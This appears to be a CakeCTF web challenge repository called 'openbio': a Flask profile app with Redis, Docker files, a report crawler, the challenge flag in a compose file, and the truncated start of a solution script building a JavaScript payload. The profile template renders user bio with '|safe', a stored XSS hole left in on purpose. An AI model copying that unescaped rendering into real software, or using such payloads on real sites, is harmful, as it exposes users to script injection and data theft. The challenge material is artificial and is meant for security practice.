--------------------------------------------------------------------------------
/web/openbio/distfiles/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3'
2 | services:
3 | challenge:
4 | build: ./service
5 | ports:
6 | - "8003:8080"
7 | links:
8 | - redis
9 | environment:
10 | - UWSGI_INI=/home/ctf/uwsgi.ini
11 | - LISTEN_PORT=8080
12 | restart: always
13 |
14 | crawler:
15 | build: ./crawler
16 | links:
17 | - challenge
18 | - redis
19 | restart: always
20 |
21 | redis:
22 | build: ./redis
23 | restart: always
24 |
--------------------------------------------------------------------------------
/web/openbio/distfiles/redis/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM redis:6-alpine
2 | COPY ./redis.conf /redis.conf
3 | CMD ["redis-server", "/redis.conf"]
4 |
--------------------------------------------------------------------------------
/web/openbio/distfiles/service/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM tiangolo/uwsgi-nginx-flask:python3.8-alpine
2 |
3 | RUN apk update
4 | RUN adduser -D ctf
5 | RUN pip install Flask Flask-WTF redis requests
6 |
7 | WORKDIR /home/ctf
8 | ADD . .
9 | RUN chown -R root:ctf .
10 |
--------------------------------------------------------------------------------
/web/openbio/distfiles/service/app.py:
--------------------------------------------------------------------------------
1 | import base64
2 | import flask
3 | from flask_wtf.csrf import CSRFProtect
4 | import hashlib
5 | import json
6 | import os
7 | import re
8 | import redis
9 | import requests
10 |
11 | REDIS_HOST = os.getenv('REDIS_HOST', 'redis')
12 | REDIS_PORT = int(os.getenv('REDIS_PORT', 6379))
13 | RECAPTCHA_KEY = os.getenv('RECAPTCHA_KEY', '')
14 | SALT = os.getenv('SALT', os.urandom(8))
15 |
16 | app = flask.Flask(__name__)
17 | app.secret_key = os.urandom(16)
18 | csrf = CSRFProtect(app)
19 |
20 | """
21 | Utility functions
22 | """
23 | def login_ok():
24 | """Check if the current user is logged in"""
25 | return 'user' in flask.session
26 |
27 | def conn_user():
28 | """Create a connection to user database"""
29 | return redis.Redis(host=REDIS_HOST, port=REDIS_PORT, db=0)
30 | def conn_report():
31 | """Create a connection to report database"""
32 | return redis.Redis(host=REDIS_HOST, port=REDIS_PORT, db=1)
33 |
34 | def success(message):
35 | """Return a success message"""
36 | return flask.jsonify({'status': 'success', 'message': message})
37 | def error(message):
38 | """Return an error message"""
39 | return flask.jsonify({'status': 'error', 'message': message})
40 |
41 | def passhash(password):
42 | """Get a safe hash value of password"""
43 | return hashlib.sha256(SALT + password.encode()).hexdigest()
44 |
45 | """
46 | Enforce CSP
47 | """
48 | @app.after_request
49 | def after_request(response):
50 | csp = ""
51 | csp += "default-src 'none';"
52 | if 'csp_nonce' in flask.g:
53 | csp += f"script-src 'nonce-{flask.g.csp_nonce}' https://cdn.jsdelivr.net/ https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-eval';"
54 | else:
55 | csp += f"script-src https://cdn.jsdelivr.net/ https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-eval';"
56 | csp += f"style-src https://cdn.jsdelivr.net/;"
57 | csp += f"frame-src https://www.google.com/recaptcha/ https://recaptcha.google.com/recaptcha/;"
58 | csp += f"base-uri 'none';"
59 | csp += f"connect-src 'self';"
60 | response.headers['Content-Security-Policy'] = csp
61 | return response
62 |
63 | @app.context_processor
64 | def csp_nonce_init():
65 | flask.g.csp_nonce = base64.b64encode(os.urandom(16)).decode()
66 | return dict(csp_nonce=flask.g.csp_nonce)
67 |
68 | """
69 | Route
70 | """
71 | @app.route('/')
72 | def home():
73 | if login_ok():
74 | conn = conn_user()
75 | bio = conn.hget(flask.session['user'], 'bio').decode()
76 | if bio is not None:
77 | return flask.render_template('index.html',
78 | username=flask.session['user'], bio=bio)
79 | return flask.render_template('login.html')
80 |
81 | @app.route('/profile/')
82 | def profile(user):
83 | if not login_ok():
84 | return flask.redirect(flask.url_for('home'))
85 |
86 | is_report = flask.request.args.get('report') is not None
87 |
88 | conn = conn_user()
89 | if not conn.exists(user):
90 | return flask.redirect(flask.url_for('home'))
91 |
92 | bio = conn.hget(user, 'bio').decode()
93 | return flask.render_template('profile.html',
94 | username=user, bio=bio,
95 | is_report=is_report)
96 |
97 | """
98 | User API
99 | """
100 | @app.route('/api/user/register', methods=['POST'])
101 | def user_register():
102 | """Register a new user"""
103 | # Check username and password
104 | username = flask.request.form.get('username', '')
105 | password = flask.request.form.get('password', '')
106 | if re.match("^[-a-zA-Z0-9_]{5,20}$", username) is None:
107 | return error("Username must follow regex '^[-a-zA-Z0-9_]{5,20}$'")
108 | if re.match("^.{8,128}$", password) is None:
109 | return error("Password must follow regex '^.{8,128}$'")
110 |
111 | # Register a new user
112 | conn = conn_user()
113 | if conn.exists(username):
114 | return error("This username has been already taken.")
115 | else:
116 | conn.hset(username, mapping={
117 | 'password': passhash(password),
118 | 'bio': "Hello! I'm new to this website.
"
119 | })
120 | flask.session['user'] = username
121 | return success("Successfully registered a new user.")
122 |
123 | @app.route('/api/user/login', methods=['POST'])
124 | def user_login():
125 | """Login user"""
126 | if login_ok():
127 | return success("You have already been logged in.")
128 |
129 | username = flask.request.form.get('username', '')
130 | password = flask.request.form.get('password', '')
131 |
132 | # Check password
133 | conn = conn_user()
134 | if conn.hget(username, 'password').decode() == passhash(password):
135 | flask.session['user'] = username
136 | return success("Successfully logged in.")
137 | else:
138 | return error("Invalid password or user does not exist.")
139 |
140 | @app.route('/api/user/logout', methods=['POST'])
141 | def user_logout():
142 | """Logout user"""
143 | if login_ok():
144 | flask.session.clear()
145 | return success("Successfully logged out.")
146 | else:
147 | return error("You are not logged in.")
148 |
149 | @app.route('/api/user/update', methods=['POST'])
150 | def user_update():
151 | """Update user info"""
152 | if not login_ok():
153 | return error("You are not logged in.")
154 |
155 | username = flask.session['user']
156 | bio = flask.request.form.get('bio', '')
157 | if len(bio) > 2000:
158 | return error("Bio is too long.")
159 |
160 | # Update bio
161 | conn = conn_user()
162 | conn.hset(username, 'bio', bio)
163 |
164 | return success("Successfully updated your profile.")
165 |
166 | """
167 | Report spam account
168 | """
169 | @app.route('/api/support/report', methods=['POST'])
170 | def report():
171 | """Report spam
172 | Support staff will check the reported contents as soon as possible.
173 | """
174 | if RECAPTCHA_KEY:
175 | recaptcha = flask.request.form.get('recaptcha', '')
176 | params = {
177 | 'secret': RECAPTCHA_KEY,
178 | 'response': recaptcha
179 | }
180 | r = requests.get(
181 | "https://www.google.com/recaptcha/api/siteverify", params=params
182 | )
183 | if json.loads(r.text)['success'] == False:
184 | abort(400)
185 |
186 | username = flask.request.form.get('username', '')
187 | conn = conn_user()
188 | if not conn.exists(username):
189 | return error("This user does not exist.")
190 |
191 | conn = conn_report()
192 | conn.rpush('report', username)
193 | return success("""Thank you for your report. Our support team will check the post as soon as possible.""")
194 |
195 |
196 | if __name__ == '__main__':
197 | app.run()
198 |
--------------------------------------------------------------------------------
/web/openbio/distfiles/service/templates/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {{ username }} - OpenBio
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 | {{ username }}'s Profile
16 |
17 |
18 |
19 |
20 |
21 |
22 | Update
23 |
24 |
25 |
26 |
27 |
28 |
49 |
50 |
--------------------------------------------------------------------------------
/web/openbio/distfiles/service/templates/login.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Login - OpenBio
6 |
7 |
8 |
9 |
10 |
11 |
12 |
52 |
53 |
54 |
93 |
94 |
--------------------------------------------------------------------------------
/web/openbio/distfiles/service/templates/profile.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {{ username }} - OpenBio
6 |
7 |
8 |
9 |
10 | {% if not is_report %}
11 |
12 | {% endif %}
13 |
14 |
15 |
16 |
17 |
18 | {{ username }}'s Profile
19 |
20 | {% if not is_report %} {% endif %}
21 |
22 |
{{ bio|safe }}
23 |
24 |
25 |
26 |
27 |
54 |
55 |
--------------------------------------------------------------------------------
/web/openbio/distfiles/service/uwsgi.ini:
--------------------------------------------------------------------------------
1 | [uwsgi]
2 | module = app
3 | callable = app
4 | uid = ctf
5 | gid = ctf
6 |
--------------------------------------------------------------------------------
/web/openbio/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3'
2 | services:
3 | challenge:
4 | build: ./distfiles/service
5 | ports:
6 | - "8003:8080"
7 | links:
8 | - redis
9 | environment:
10 | - UWSGI_INI=/home/ctf/uwsgi.ini
11 | - LISTEN_PORT=8080
12 | - RECAPTCHA_KEY=XXXXXXXXXXXXXXXX
13 | restart: always
14 |
15 | crawler:
16 | build: ./distfiles/crawler
17 | links:
18 | - challenge
19 | - redis
20 | environment:
21 | - "flag=CakeCTF{httponly=true_d03s_n0t_pr0t3ct_U_1n_m4ny_c4s3s!}"
22 | restart: always
23 |
24 | redis:
25 | build: ./distfiles/redis
26 | restart: always
27 |
--------------------------------------------------------------------------------
/web/openbio/solution/gen.py:
--------------------------------------------------------------------------------
1 | import base64
2 |
3 | payload = b"""
4 | $(document).ready(function() {
5 | $.get('/', (data) => {
6 | let rx = /